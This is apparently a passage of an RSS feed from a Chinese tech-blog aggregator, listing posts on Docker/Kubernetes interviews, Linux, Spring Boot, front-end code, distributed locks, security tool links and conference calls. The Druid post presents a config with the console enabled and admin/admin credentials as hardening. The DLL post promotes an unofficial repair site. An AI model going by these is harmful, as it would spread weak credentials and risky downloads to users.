pod创建过程简单描述一下pod的终止过程pod的生命周期有哪几种？pod状态一般有哪些？pod一致处于pending状态一般有哪些情况，怎么排查？（重点，持续更新）pod的钩子函数有哪几种，作用是什么？pod的初始化容器是干什么的？pod的资源请求、限制如何定义？pod的定义中有个command和args参数，这两个参数不会和docker镜像的entrypointc冲突吗？标签及标签选择器是什么，如何使用？service是如何与pod关联的？service的域名解析格式、pod的域名解析格式service的类型有哪几种一个应用pod是如何发现service的，或者说，pod里面的容器用于是如何连接service的？如何创建一个service代理外部的服务，或者换句话来说，在k8s集群内的应用如何访问外部的服务，如数据库服务，缓存服务等?service、endpoint、kube-proxys三种的关系是什么？无头service和普通的service有什么区别，无头service使用场景是什么？deployment怎么扩容或缩容？deployment的更新升级策略有哪些？deployment的滚动更新策略有两个特别主要的参数，解释一下它们是什么意思？deployment更新的命令有哪些？简述一下deployment的更新过程?deployment的回滚使用什么命令讲一下都有哪些存储卷，作用分别是什么?pv的访问模式有哪几种pv的回收策略有哪几种在pv的生命周期中，一般有几种状态存储类的资源回收策略:怎么使一个node脱离集群调度，比如要停机维护单又不能影响业务应用pv存储空间不足怎么扩容?k8s生产中遇到什么特别影响深刻的问题吗，问题排查解决思路是怎么样的？（重点）etcd集群节点可以设置为偶数个吗，为什么要设置为奇数个呢？你们生产环境etcd节点一般是几个节点？etcd节点是越多越好吗？etcd集群节点之间是怎么同步数据的？pod的网络是怎么实现的，比如在node节点上ping一个pod的ip，这个网络流程是什么验证的？一个用户请求流量是如何进入k8s集群内部的？用户访问我们的k8s集群里面的应用网站，出现500报错，你是如何排查这种问题的？k8s后端存储使用的是什么？你们的服务发布怎么做的？ 前言 本篇模拟面试官提问的各种docker，k8s问题，意在提高面试通过率，欢迎在评论区探讨，同步进步。&#xA;docker的工作原理是什么，讲一下 docker是一个Client-Server结构的系统，docker守护进程运行在宿主机上，守护进程从客户端接受命令并管理运行在主机上的容器，容器是一个运行时环境，这就是我们说的集装箱。&#xA;docker的组成包含哪几大部分 一个完整的docker有以下几个部分组成：&#xA;1、docker client，客户端，为用户提供一系列可执行命令，用户用这些命令实现跟 docker daemon 交互；&#xA;2、docker daemon，守护进程，一般在宿主主机后台运行，等待接收来自客户端的请求消息；&#xA;3、docker image，镜像，镜像run之后就生成为docker容器；&#xA;4、docker container，容器，一个系统级别的服务，拥有自己的ip和系统目录结构；运行容器前需要本地存在对应的镜像，如果本地不存在该镜像则就去镜像仓库下载。&#xA;docker 使用客户端-服务器 (C/S) 架构模式，使用远程api来管理和创建docker容器。docker 容器通过 docker 镜像来创建。容器与镜像的关系类似于面向对象编程中的对象与类。&#xA;docker与传统虚拟机的区别什么？ 1、传统虚拟机是需要安装整个操作系统的，然后再在上面安装业务应用，启动应用，通常需要几分钟去启动应用，而docker是直接使用镜像来运行业务容器的，其容器启动属于秒级别；&#xA;2、Docker需要的资源更少，Docker在操作系统级别进行虚拟化，Docker容器和内核交互，几乎没有性能损耗，而虚拟机运行着整个操作系统，占用物理机的资源就比较多;&#xA;3、Docker更轻量，Docker的架构可以共用一个内核与共享应用程序库，所占内存极小;同样的硬件环境，Docker运行的镜像数远多于虚拟机数量，对系统的利用率非常高;&#xA;4、与虚拟机相比，Docker隔离性更弱，Docker属于进程之间的隔离，虚拟机可实现系统级别隔离;&#xA;5、Docker的安全性也更弱，Docker的租户root和宿主机root相同，一旦容器内的用户从普通用户权限提升为root权限，它就直接具备了宿主机的root权限，进而可进行无限制的操作。虚拟机租户root权限和宿主机的root虚拟机权限是分离的，并且虚拟机利用如Intel的VT-d和VT-x的ring-1硬件隔离技术，这种技术可以防止虚拟机突破和彼此交互，而容器至今还没有任何形式的硬件隔离;&#xA;6、Docker的集中化管理工具还不算成熟，各种虚拟化技术都有成熟的管理工具，比如：VMware vCenter提供完备的虚拟机管理能力;&#xA;7、Docker对业务的高可用支持是通过快速重新部署实现的，虚拟化具备负载均衡，高可用、容错、迁移和数据保护等经过生产实践检验的成熟保障机制，Vmware可承诺虚拟机99.999%高可用，保证业务连续性;&#xA;8、虚拟化创建是分钟级别的，Docker容器创建是秒级别的，Docker的快速迭代性，决定了无论是开发、测试、部署都可以节省大量时间;&#xA;9、虚拟机可以通过镜像实现环境交付的一致性，但镜像分发无法体系化，Docker在Dockerfile中记录了容器构建过程，可在集群中实现快速分发和快速部署。&#xA;docker技术的三大核心概念是什么？ 镜像：镜像是一种轻量级、可执行的独立软件包，它包含运行某个软件所需的所有内容，我们把应用程序和配置依赖打包好形成一个可交付的运行环境(包括代码、运行时需要的库、环境变量和配置文件等)，这个打包好的运行环境就是image镜像文件。&#xA;容器：容器是基于镜像创建的，是镜像运行起来之后的一个实例，容器才是真正运行业务程序的地方。如果把镜像比作程序里面的类，那么容器就是对象。&#xA;镜像仓库：存放镜像的地方，研发工程师打包好镜像之后需要把镜像上传到镜像仓库中去，然后就可以运行有仓库权限的人拉取镜像来运行容器了。&#xA;centos镜像几个G，但是docker centos镜像才几百兆，这是为什么？ 一个完整的Linux操作系统包含Linux内核和rootfs根文件系统，即我们熟悉的/dev、/proc/、/bin等目录。我们平时看到的centOS除了rootfs，还会选装很多软件，服务，图形桌面等，所以centOS镜像有好几个G也不足为奇。&#xA;而对于容器镜像而言，所有容器都是共享宿主机的Linux 内核的，而对于docker镜像而言，docker镜像只需要提供一个很小的rootfs即可，只需要包含最基本的命令，工具，程序库即可，所有docker镜像才会这么小。&#xA;讲一下镜像的分层结构以及为什么要使用镜像的分层结构？ 一个新的镜像其实是从 base 镜像一层一层叠加生成的。每安装一个软件，dockerfile中使用RUM命令，就会在现有镜像的基础上增加一层，这样一层一层的叠加最后构成整个镜像。所以我们docker pull拉取一个镜像的时候会看到docker是一层层拉去的。&#xA;分层机构最大的一个好处就是 ： 共享资源。比如：有多个镜像都从相同的 base 镜像构建而来，那么 Docker Host 只需在磁盘上保存一份 base 镜像；同时内存中也只需加载一份 base 镜像，就可以为所有容器服务了。而且镜像的每一层都可以被共享。&#xA;讲一下容器的copy-on-write特性，修改容器里面的内容会修改镜像吗？ 我们知道，镜像是分层的，镜像的每一层都可以被共享，同时，镜像是只读的。当一个容器启动时，一个新的可写层被加载到镜像的顶部，这一层通常被称作“容器层”，“容器层”之下的都叫“镜像层”。</description>
    </item>
    <item>
      <title>Linux笔记（二）——Linux目录结构，XSHELL和XFTP介绍，Vi和Vim使用以及快捷键需求</title>
      <link>https://bchobby.github.io/posts/aeebb32af8212593961c903c2af889be/</link>
      <pubDate>Thu, 30 Nov 2023 15:00:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aeebb32af8212593961c903c2af889be/</guid>
      <description>一、 Linux的目录结构 1.概述 其采用的是层式的树状目录结构，在此结构中的最上层是根目录”/”，然后再次目录下创建其他目录。在linux系统中，一切皆为文件。&#xA;2.Linux的目录结构 /bin【常用】（/user/bin、/user/local/bin）&#xA;是Binary的缩写，这个目录存放着最经常使用的命令&#xA;/sbin（/user/bin、/user/local/bin）&#xA;s就是Super User的意思，这里存放的是系统管理员使用的系统管理程序&#xA;/home【常用】&#xA;存放普通用户的主目录，在Linux中每个用户都有自己的目录，一般该目录名是以用户的账号命名&#xA;/root【常用】&#xA;该目录为系统管理员，也称为超级权限者的用户主目录&#xA;/lib&#xA;系统开机所需要最基本的动态连接共享库，其作用类似于Windows里的DLL文件，几乎所有的应用程序都需要用到这些共享库&#xA;/lost+found&#xA;这个目录一般情况下是空的，当系统非法关机后，这里就存放了一些文件&#xA;一般隐藏起来，窗口输入cd / (进入根目录)-&amp;gt;ls(显示的意思)&#xA;/etc【常用】&#xA;所有的系统管理所需要的配置文件和子目录 my.conf&#xA;一般安装mysql等就会出现该目录下的配置文件&#xA;/usr【常用】&#xA;这是一个非常重要的目录，用户的很多应用程序和文件都放在这个目录下，类 似与windows下的program files目录。比如存放的一些浏览器，或者编译器 均会放在该目录下&#xA;/boot【常用】&#xA;存放的是启动Linux时使用的一些核心文件，包括一些连接文件以及镜像文件&#xA;/proc【不能动】&#xA;这个目录是一个虚拟目录，它是系统内存的映射，访问这个目录来获取系统信息&#xA;/srv 【不能动】&#xA;service缩写，该目录存放一些服务启动之后需要提取的数据&#xA;/sys【不能动】&#xA;这是linux2.6内核的一个很大的变化。该目录下安装了2.6内核中新出现出现的一个文件系统sysfs&#xA;/tmp&#xA;这个目录是用来存放一些临时文件的&#xA;/dev&#xA;类似于windows的设备管理器，把所有的硬件用文件的形式存储&#xA;/media【常用】&#xA;Linux系统会自动识别一些设备，例如U盘等，当识别后，Linux会把识别的设备挂载到这个目录下&#xA;/mut【常用】&#xA;系统提供该目录是为了让用户临时挂载别的文件系统的，我们可以将外部的存储挂载在/mnt上&#xA;/opt&#xA;这是给主机额外安装软件所摆放的目录。如安装ORACLE数据库，JDK就可以放到该目录下。默认为空&#xA;/usr/local【常用】&#xA;这是另一个给主机额外安装软件所安装的目录。一般是通过编译源码方式安装的程序&#xA;var【常用】&#xA;这个目录中存放着在不断扩充着的东西，习惯将被修改的目录放在这个目录下。典型的就是记录各种日志文件&#xA;selinux【security-enhanced linux】&#xA;SELinux是一种安全子系统，他能控制程序只能访问特定文件，有三种工作模式，可以自行设置&#xA;二、远程登录Linux Linux服务器是项目小组开发的，正式上线的项目是运行在公网上的。因此程序员登录需要远程登录到Linux服务器进行项目管理或开发。登录的方式有两种——Xshell和XftpXshell用于操作命令，Xftp主要用于文件的上传与下载 1. Xshel介绍和Xftp介绍 Xshell是目前最好的远程登录到Linux操作的软件，速度流畅并且完美的解决了中文乱码问题，是一个强大的安全终端模拟软件，支持SSH1，SSH2以及Windows下的TELNET协议。可以再windows界面下用来访问远端不同系统下的服务器，从而比较好的达到远程操作终端的目的。&#xA;Xftp是一个基于windows平台的功能强大的SFTP、FTP文件传输软件。使用该软件，用户可以在Windows和Linux之间传输文件&#xA;2.下载 下载free-for-home-school版本&#xA;下载地址：https://www.netsarang.com/en/free-for-home-school/&#xA;进入之后，输入邮箱和姓名，点击邮箱发送的链接。&#xA;三、XSHELL安装与连接 右键以管理员身份运行该程序进行连接。注意此处我们需要知道虚拟的IP地址。在外界去访问虚拟机时，我们同样需要IP地址用于访问该地址。进入虚拟机后，右键打开终端，输入命令(ifconfig)&#xA;此时在windows这边 使用ping+IP地址，查看地址是否连接成功。如果连接成功 可以进行下一步双击打开Xshell</description>
    </item>
    <item>
      <title>SpringBoot关闭druid的页面和添加密码验证</title>
      <link>https://bchobby.github.io/posts/42f30203920da1352800764dd4be458e/</link>
      <pubDate>Thu, 30 Nov 2023 13:58:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42f30203920da1352800764dd4be458e/</guid>
      <description> 在生产环境中，需要关闭druid的页面，以免被攻击。&#xA;application.properties配置文件中添加参数&#xA;# Druid 数据源监控配置 # 是否启用StatViewServlet（监控页面）false为不启动 spring.datasource.druid.stat-view-servlet.enabled=true spring.datasource.druid.stat-view-servlet.url-pattern=/druid/* # IP白名单(没有配置或者为空，则允许所有访问) spring.datasource.druid.stat-view-servlet.allow=127.0.0.1,192.168.0.1 # IP黑名单 (存在共同时，deny优先于allow) spring.datasource.druid.stat-view-servlet.deny=192.168.0.0 # 禁用HTML页面上的“Reset All”功能 spring.datasource.druid.stat-view-servlet.reset-enable=false # 登录名 spring.datasource.druid.stat-view-servlet.login-username=admin # 登录密码 spring.datasource.druid.stat-view-servlet.login-password=admin </description>
    </item>
    <item>
      <title>函数保留凸性的一些运算，限制为一条线</title>
      <link>https://bchobby.github.io/posts/e823addd959374f7ad321f427efc8211/</link>
      <pubDate>Thu, 30 Nov 2023 13:19:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e823addd959374f7ad321f427efc8211/</guid>
      <description>凸优化在学术研究中非常重要，经常遇到的问题是证明凸性。常规证明凸性的方式是二阶导数的黑塞矩阵为半正定，或者在一维函数时二阶导数大于等于零。但很多时候的数学模型并不那么常规、容易求导的，若能够知道一些保留凸性的运算，将能够显著减少证明凸性的难度。这篇博客总结一些这个知识点。&#xA;1. 非负加权和 若函数 f 1 , … , f m f_1,\dots,f_m f1​,…,fm​ 为凸函数，参数 w 1 , … , w m w_1,\dots,w_m w1​,…,wm​ 非负，则函数&#xA;f = w 1 f 1 + ⋯ + w m f m f=w_1f_1+\dots+w_mf_m f=w1​f1​+⋯+wm​fm​&#xA;为凸函数。&#xA;这可以推广到无限加权和的情况，若函数 f ( x , y ) f(x,y) f(x,y) 对于 y ∈ A y\in \mathcal{A} y∈A 的每个值都是 x x x 的凸函数，并且 w ( y ) ≥ 0 w(y)\geq 0 w(y)≥0，那么函数</description>
    </item>
    <item>
      <title>前端vue导出PPT，使用pptxgen.js</title>
      <link>https://bchobby.github.io/posts/15a1db85c3515ff21fd5f6d2517aeeba/</link>
      <pubDate>Thu, 30 Nov 2023 10:35:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15a1db85c3515ff21fd5f6d2517aeeba/</guid>
      <description>前言 公司新需求需要导出ppt给业务用，查阅资料后发现也挺简单的，记录一下。&#xA;如有不懂的可以留言！！！&#xA;1.安装包 npm install pptxgenjs --save 2.引入包 在需要使用的文件中引入&#xA;import Pptxgen from &#34;pptxgenjs&#34; 导出事件&#xA;&amp;lt;Button type=&#34;primary&#34; @click=&#34;exportPPT&#34;&amp;gt;导出周报&amp;lt;/Button&amp;gt; 这里有几个注意点说一下 slide 当前PPT页，可以通过addText(),addTable()等方法在当前页面添加文字、图表、图片等元素Text 文字，可以对ppt文字颜色、字体大小、字体阴影、背景颜色、文字位置等属性进行配置，达到自己想要的效果Table 表格， 可以添加ppt表格，但是表格内只能放文字和数字Charts 图表 图表，可以支持常见的饼状图、柱状图、折线图等，配置项也挺全的，横纵坐标，legend等啥都有，基本可以满足常用。 3.使用 js代码&#xA;exportPPT() { // 1. 创建PPT const pres = new Pptxgen() // 2. 创建一个PPT页面，每调用一次 pres.addSlide() 都可以生成一张新的页面 // 建议把每个页面的构造抽成一个个函数，然后通过函数调用生成新页面，代码不会很乱 const slide = pres.addSlide() // 3. 调用addTetx()，在PPT页面中插入文字“Hello World from PptxGenJS...” // 括号里面是对文字的配置，文字横坐标x为1.5，纵坐标y为1.5，字体颜色 363636…… // 关于坐标长度与px的转换 x 1 = 127~128px 左右 slide.addText(&#39;需求进度&#39;, { x: 0.2, // 横坐标 y: 0.</description>
    </item>
    <item>
      <title>sublime text3插件开发例程</title>
      <link>https://bchobby.github.io/posts/146569ee8ab680d72b0e5c1c30e4b9db/</link>
      <pubDate>Thu, 30 Nov 2023 08:58:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/146569ee8ab680d72b0e5c1c30e4b9db/</guid>
      <description>github&#xA;sublime使用python编写插件，安装好sublime后，就自带了2个库sublime，sublime_plugin，基于这2个库，我们可以开发许多插件，以下就是一个简单的入门实例。&#xA;API介绍在API Reference&#xA;官方教程在How to Create a Sublime Text 2 Plugin | Envato Tuts+&#xA;1.推荐一个截图软件Snipaste&#xA;2.打开tools-&amp;gt;developer-&amp;gt;new plugin&#xA;3.保存生成的文件xxx.py到Packages下，新建一个文件夹，自定义名称。&#xA;4.sublime会搜索packages下的py文件，用ctrl + ` 打开控制面板。输入view.run_command(&#39;example&#39;)，就可以看到文本中首行插入了Hello, World!，即执行了 self.view.insert(edit, 0, &#34;Hello, World!&#34;)&#xA;5.Example就是这个类class的名称，用run command运行它的时候，就执行run这个函数下的指令（大概是这个意思）。一个py文件下可以有多个class，1个class下只有1个run入口。其他教程也有说明，Command前面的字段是命令名称，按大写字母分段，调用时都使用小写。也就是说Command前面可以写Example和example，但不能写ExaMple。&#xA;6.self.view.insert(edit, 0, &#34;Hello, World!&#34;) 在API手册中看到，&#xA;insert(edit, point, string)intInserts the given string in the buffer at the specified point. Returns the number of characters inserted: this may be different if tabs are being translated into spaces in the current buffer. 在指定point的位置插入后面string。</description>
    </item>
    <item>
      <title>ZFPlayer 播放视频的时候的视图层级</title>
      <link>https://bchobby.github.io/posts/d960b86e2199641473761149c7581080/</link>
      <pubDate>Wed, 29 Nov 2023 21:31:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d960b86e2199641473761149c7581080/</guid>
      <description>未播放的时候 首先看正常展示的时候，还没又开始播放&#xA;这个时候我们打开图层看一下，发现视频时长和播放按钮都是放在&#xA;视频封面图上的&#xA;播放的时候 我们看到的播放视频的画面&#xA;我们发现，我们之前在未播放状态看到的视图，仍然还在封面视图上，只是被视频画面盖住了&#xA;然后再看视频画面视图，如下图，该视图也是放在封面视图上面的&#xA;和播放按钮拥有同一个父视图，只是画面视图是开始播放视频&#xA;的时候在添加到封面视图上的，所以播放按钮被盖住了&#xA;在看控制视图的层级，控制视图被添加到视频画面视图上&#xA;通过代码查看添加时机 因为我这里是在tableView 中播放视频的，所以这里&#xA;使用Playerindex 方式播放视频&#xA;我这里在初始换的时候，传控制视图&#xA;self.playerController.controlView = self.controlView; 查看zfplayer ，会在设置控制视图的方法中&#xA;调用layoutPlayerSubviews方法&#xA;layoutPlayerSubviews 方法会将控制视图添加到视频画面视图上&#xA;如下图所示，setPlayindex 会触发layoutPlayerSubviews 方法&#xA;layoutPlayerSubviews 方法会讲视频视图添加到容器视图上&#xA;而容器视图就是cell中的视频封面视图</description>
    </item>
    <item>
      <title>PLC：200smart（1-8章）</title>
      <link>https://bchobby.github.io/posts/ed7d696c3a16522ca9c1da523524fb87/</link>
      <pubDate>Wed, 29 Nov 2023 21:28:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed7d696c3a16522ca9c1da523524fb87/</guid>
      <description> 西门子PLC学习 第一章、电学知识第二章、中间继电器第三章、延时继电器第四章、硬件接线第五章、电路图转梯形图+软件操作第六章、脱离电路图编程第七章、计数器第八章、置位、复位 第一章、电学知识 第二章、中间继电器 第三章、延时继电器 第四章、硬件接线 第五章、电路图转梯形图+软件操作 第六章、脱离电路图编程 第七章、计数器 第八章、置位、复位 </description>
    </item>
    <item>
      <title>分布式锁解决超卖问题</title>
      <link>https://bchobby.github.io/posts/e69ef1f81a8420322145f49baba05958/</link>
      <pubDate>Wed, 29 Nov 2023 20:41:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e69ef1f81a8420322145f49baba05958/</guid>
      <description>在单体应用场景下处理多线程并发问题时，我们常会用到Synchronized和Lock锁。而在分布式场景中，则需要一种更高级的锁机制来处理跨机器的进程之间的数据同步问题，这就是分布式锁。&#xA;1. 商品超卖场景 分布式锁解决的最典型问题就是商品超卖问题了，即商品库存为1，但是由于并发下单，导致产生了多笔订单。&#xA;2. 单体应用下的解决方法 使用事务注解的坑&#xA;由于创建商品订单涉及扣减库存、创建订单两个操作，所以需要用到事务。&#xA;但是如果采用事务注解@Transactional，事务提交是在方法结束的时候执行，此时方法也会释放锁，导致并发的下一个线程会与事务提交并行执行，也会导致库存扣减异常。&#xA;2.1. Synchronized + 编程式事务 public Long createOrder() throws Exception { Product product = null; //synchronized (this) { //synchronized (object) { synchronized (DBOrderService2.class) { TransactionStatus transaction1 = platformTransactionManager.getTransaction(transactionDefinition); product = productMapper.selectByPrimaryKey(purchaseProductId); if (product == null) { platformTransactionManager.rollback(transaction1); throw new Exception(&#34;购买商品：&#34; + purchaseProductId + &#34;不存在&#34;); } //商品当前库存 Integer currentCount = product.getCount(); System.out.println(Thread.currentThread().getName() + &#34;库存数：&#34; + currentCount); //校验库存 if (purchaseProductNum &amp;gt; currentCount) { platformTransactionManager.</description>
    </item>
    <item>
      <title>php 导出表格手机号或者身份号无法正常显示</title>
      <link>https://bchobby.github.io/posts/1f170d65ba436873cb6ae527aad0ff04/</link>
      <pubDate>Wed, 29 Nov 2023 18:00:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f170d65ba436873cb6ae527aad0ff04/</guid>
      <description> 如果订单号或手机号,身份证号过长excel是展示不出来的&#xA;那么在导出地方拼接 \t&#xA;例如: $item[&#39;order_num&#39;] = $item[&#39;order_num&#39;] . &#34;\t&#34;; </description>
    </item>
    <item>
      <title>【IEEE独立出版】2024第四届神经网络、信息与通信工程国际学术会议（NNICE 2024）</title>
      <link>https://bchobby.github.io/posts/155388785a4c38632a87cb6ce58d956c/</link>
      <pubDate>Wed, 29 Nov 2023 17:24:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/155388785a4c38632a87cb6ce58d956c/</guid>
      <description>2024第四届神经网络、信息与通信工程国际学术会议（NNICE 2024）&#xA;2024 4th International Conference on Neural Networks, Information and Communication Engineering&#xA;2024第四神经网络、信息与通信工程国际学术会议（NNICE 2024）将于2024年1月19-21日在中国广州举行。&#xA;NNICE 2024是汇聚业界和学术界的顶级论坛，会议将邀请国内外著名专家就以传播神经网络、信息与通信工程方法和技术领域的技术进步、研究成果和应用做专题报告，同时进行学术交流。诚邀国内外相关高校和科研院所的科研人员、企业工程技术人员等参加会议。 重要信息&#xA;大会官网：​ www.icnnice.com ​（点击参会/投稿）&#xA;大会时间：2024年1月19-21日&#xA;大会地点：中国·广州&#xA;收录检索：EI Compendex，Scopus&#xA;IEEE独立出版，ISBN:979-8-3503-9437-5&#xA;出版信息&#xA;会议的所有投稿需经过3轮专家审稿，并提交至组委会复核，经过严格的审稿之后，最终录用的论文将由 IEEE 出版（ISBN:979-8-3503-9437-5），收录进IEEE Xplore数据库，见刊后由期刊社提交至 EI Compendex和Scopus检索。&#xA;征稿主题&#xA;神经网络&#xA;机器人控制&#xA;优化组合&#xA;知识工程&#xA;人工智能&#xA;逻辑程序设计&#xA;人机交互&#xA;深度学习&#xA;信号处理&#xA;信息提取&#xA;自然语言推论&#xA;信号与信息处理&#xA;信息管理与集成&#xA;实时信号处理与应用、&#xA;DSP应用&#xA;图像传输与处理&#xA;光纤传感与微弱信号检测&#xA;电力系统中 特殊信号处理&#xA;FPGA的应用&#xA;公共信息管理与安全&#xA;电力设备红外热像测温&#xA;通信与信息系统&#xA;信息论，&#xA;编码理论，&#xA;通信网络理论与技术，&#xA;多媒体通信理论与技术&#xA;数字信号处理，&#xA;数字图像处理，&#xA;模式识别，&#xA;计算机视觉，&#xA;电子与通信系统设计自动化&#xA;非线性控制理论，&#xA;工业监控系统设计&#xA;电子与通信工程</description>
    </item>
    <item>
      <title>【2023持续更新】网络安全工程师常用工具集合</title>
      <link>https://bchobby.github.io/posts/ed20e03242abf0650a96dd4f482836c0/</link>
      <pubDate>Wed, 29 Nov 2023 17:13:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed20e03242abf0650a96dd4f482836c0/</guid>
      <description>文章目录 SQL注入检测安全工具命令行提示综合扫描工具综合安全类文章 SQL注入检测 https://github.com/r0oth3x49/ghauri&#xA;安全工具命令行提示 https://github.com/Orange-Cyberdefense/arsenal&#xA;综合扫描工具 https://github.com/chaitin/xray&#xA;综合安全类文章 http://wechat.doonsec.com/</description>
    </item>
    <item>
      <title>解决api-ms-win-crt-runtime-l1-1-0.dll丢失的问题，全是干货分享</title>
      <link>https://bchobby.github.io/posts/280bfbcc93e2ef21ff25be231d4c3584/</link>
      <pubDate>Wed, 29 Nov 2023 17:11:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/280bfbcc93e2ef21ff25be231d4c3584/</guid>
      <description>今天我的电脑中突然出现关于“api-ms-win-crt-runtime-l1-1-0.dll”的错误提示，关闭提示后再次打开程序依然不能正常打开，出现这样的问题突然不知道是因为什么，于是就去了解了关于出现api-ms-win-crt-runtime-l1-1-0.dll错误的问题，找到了几种解决api-ms-win-crt-runtime-l1-1-0.dll丢失的方法。如果你的电脑也出现这样的问题，希望这几个方法能够帮助大家解决api-ms-win-crt-runtime-l1-1-0.dll丢失。&#xA;一.api-ms-win-crt-runtime-l1-1-0.dll文件的作用和意义 api-ms-win-crt-runtime-l1-1-0.dll是Windows操作系统中的一个重要动态链接库文件，它包含了运行C++程序所需的运行时组件。这个文件提供了一系列函数和功能，使得C++程序能够在Windows操作系统上正确运行。&#xA;具体来说，api-ms-win-crt-runtime-l1-1-0.dll文件为C++程序提供了许多运行时库函数，包括内存管理、错误处理、字符串操作、输入输出等基础功能。它还负责加载和卸载动态链接库以及处理程序的启动和结束。&#xA;api-ms-win-crt-runtime-l1-1-0.dll文件的存在确保了C++程序的正常运行和开发环境的稳定性，可以说它对于Windows操作系统和开发者来说具有非常重要的意义。&#xA;二.api-ms-win-crt-runtime-l1-1-0.dll丢失的解决方法 更新Windows操作系统 最简单的解决方法是检查并安装最新的Windows更新。微软经常发布针对Windows运行时组件的修补程序，通过更新操作系统可以获取缺失文件的最新版本，从而将api-ms-win-crt-runtime-l1-1-0.dll丢失的问题进行解决。&#xA;Dll修复工具 如果更新windows不能解决文件丢失，那么就可以使用这个dll修复工具，这个工具可以快速的解决api-ms-win-crt-runtime-l1-1-0.dll丢失，获得dll修复工具，可以在“此电脑”中输入：dll修复.site，&#xA;DLL修复工具_一键修复所有dll缺失msvcp140.dll丢失的解决方法–电脑修复精灵&#xA;点击前往就可以将工具进行获取。在点击一键修复就可以将api-ms-win-crt-runtime-l1-1-0.dll丢失的问题。&#xA;安装Visual C++ Redistributable包 用户可以下载并安装相应版本的Visual C++ Redistributable程序包。这些程序包中包含了api-ms-win-crt-runtime-l1-1-0.dll文件及其依赖项，安装后可以解决缺失的问题。&#xA;重装相关程序 如果只有特定的程序报告缺少api-ms-win-crt-runtime-l1-1-0.dll文件，可以尝试重新安装该程序。重新安装过程中会将所需的运行时组件一起安装，可能会修复文件缺失问题。卸载软件需要大家将软件进行卸载干净，可以在设置中的应用中找到需要卸载的软件点击卸载既可。&#xA;三.解决api-ms-win-crt-runtime-l1-1-0.dll丢失的注意事项 在解决api-ms-win-crt-runtime-l1-1-0.dll文件丢失问题时，需要注意以下几点：&#xA;下载安全可靠的文件：确保下载的Windows更新或Visual C++ Redistributable程序包来自官方或受信任的来源。避免从非官方网站或未经验证的来源下载文件，以防止恶意软件或病毒的感染。&#xA;遵循操作指南：按照官方提供的操作指南进行操作，注意每个步骤的顺序和要求。不要随意更改操作系统或程序的设置，以免引发其他问题。&#xA;更新操作系统：除了解决api-ms-win-crt-runtime-l1-1-0.dll文件丢失的问题，及时更新操作系统也可以增强系统的安全性和稳定性。因此，建议定期检查并安装最新的Windows更新。&#xA;总的来说，解决api-ms-win-crt-runtime-l1-1-0.dll文件丢失问题比较简单，通过更新操作系统或安装使用dll修复工具可以快速解决。希望能够帮助大家解决api-ms-win-crt-runtime-l1-1-0.dll丢失的问题。</description>
    </item>
    <item>
      <title>【投稿优惠|优质会议】2024年环境工程与机电一体化国际学术会议(ICEEMI 2024)</title>
      <link>https://bchobby.github.io/posts/6a26b895f0c55417424119e0e2e3788f/</link>
      <pubDate>Wed, 29 Nov 2023 17:06:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a26b895f0c55417424119e0e2e3788f/</guid>
      <description>【投稿优惠|优质会议】2024年环境工程与机电一体化国际学术会议(ICEEMI 2024)&#xA;2024 International Conference Environmental Engineering and Mechatronics Integration(ICEEMI 2024)&#xA;一、【会议简介】&#xA;2024年环境工程与机电一体化国际学术会议(ICEEMI 2024)）将以线上会议形式召开。它旨在为在环境工程、机电一体化的工业界、学术界和政府的研究人员、从业人员和专业人士提供一个论坛，就相关领域的研发和专业实践进行讨论。会议主题包括环境保护、城市与区域规划、电气自动化、机电控制与光电子系统等。我谨代表大会各委员会，邀请专家学者出席会议并参与讨论，是我们的幸运和荣幸。&#xA;二、【征稿主题】主题包括但不限于以下&#xA;环境分析和监测&#xA;环境化学和生物学&#xA;环境保护&#xA;环境安全与健康&#xA;环境修复项目&#xA;污染控制项目&#xA;废物处理和回收&#xA;供水和排水工程&#xA;清洁生产过程&#xA;水文和水资源工程&#xA;水土保持和荒漠化控制&#xA;生态环境保护&#xA;地理信息与遥感科学&#xA;土地、资源与环境及城乡规划 节能环保与低碳理念&#xA;城市与区域规划&#xA;能源产业的发展与管理&#xA;环境保护与经济发展&#xA;全球气候变化与国际碳减排合作&#xA;先进的成型制造和设备&#xA;高级运动控制&#xA;自动化和控制系统、中间件&#xA;CAD/CAM&#xA;电气自动化&#xA;机电传动控制&#xA;电子技术&#xA;机电一体化系统中的故障检测与诊断&#xA;柔性制造系统&#xA;人形机器人、服务机器人&#xA;工业机器人与自动化生产线&#xA;集成制造系统&#xA;机械和机器设计&#xA;机电控制&#xA;微/纳米制造与MEMS/NEMS&#xA;多体动力学&#xA;NEMS/MEMS技术与设备&#xA;光电子系统&#xA;机械电子学&#xA;传感器和执行器&#xA;无人车&#xA;三、【重要信息】&#xA;投稿邮箱：ei_sub@163.com&#xA;投稿时请邮箱正文备注：论文投稿+苏老师推荐+投稿人姓名&#xA;最终截稿时间：请查看官网&#xA;接受/拒稿：投稿后2-3日内通知&#xA;四、【论文提交】&#xA;1. 文章需全英文，重复率低于30%。&#xA;2. 文章必须要有题目、作者、单位、邮箱、关键词、摘要、必要的图表、结论、参考文献等。&#xA;3. 投稿流程：投稿→审稿→录用→注册→开具增值税普票（专票）→电子版→纸质版→检索。&#xA;4. 请勿一稿多投，所有稿件将接受两三名专家进行评审</description>
    </item>
    <item>
      <title>怎样把caj转换成pdf？</title>
      <link>https://bchobby.github.io/posts/cc5729a9b91cfd6234b3990f619cd70c/</link>
      <pubDate>Wed, 29 Nov 2023 17:04:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc5729a9b91cfd6234b3990f619cd70c/</guid>
